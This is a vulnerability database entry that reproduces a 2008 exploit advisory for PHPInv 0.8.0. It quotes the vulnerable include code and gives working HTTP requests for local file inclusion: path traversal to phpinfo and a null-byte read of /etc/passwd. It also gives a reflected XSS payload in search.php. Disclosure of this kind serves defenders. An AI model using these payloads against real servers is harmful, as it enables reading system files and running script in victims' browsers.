PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities

vendor:

PHPInv

by:

CWH Underground

7.5

CVSS

HIGH

LFI/XSS

CWE

Product Name: PHPInv

Affected Version From: 0.8.0

Affected Version To: 0.8.0

Patch Exists: NO

Related CWE: N/A

CPE: a:phpinv:phpinv:0.8.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities

Using Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept URI and then changing detail in GET request for this URI, an attacker can view phpinfo.php in PHPInv page. Additionally, an attacker can inject malicious JavaScript code in the search.php (keyword) parameter.

Mitigation:

Input validation should be used to prevent malicious code injection.

Source

Exploit-DB raw data:

=========================================================
 PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities
=========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 8 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PHPInv
 VERSION     : 0.8.0
 DOWNLOAD    : http://sourceforge.net/projects/phpinv
#####################################################

---LFI---

##############################################
Vulnerable: entry.php (?action=)

43:	if (isset($action) & !isset($noconfirm)) {
44:		include("inc/entry_$action.php");
45:	}

###############################################

---Description---

   Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept URI -> 
http://[target]/[phpinv_path]/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=test

   Then You can change detail in GET request for this URI, Example

[-]GET http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo HTTP/1.1
[-]Accept: */*
[-]User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[-]Host: 192.168.1.103
[-]Connection: Close
[-]Pragma: no-cache

   Now you can see phpinfo.php in PHPInv page...  :) 

Tip!! http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00 HTTP/1.1


---XSS---

[+]search.php (keyword)

GET http://192.168.1.103:80/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.1.103
Connection: Close
Pragma: no-cache


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-08]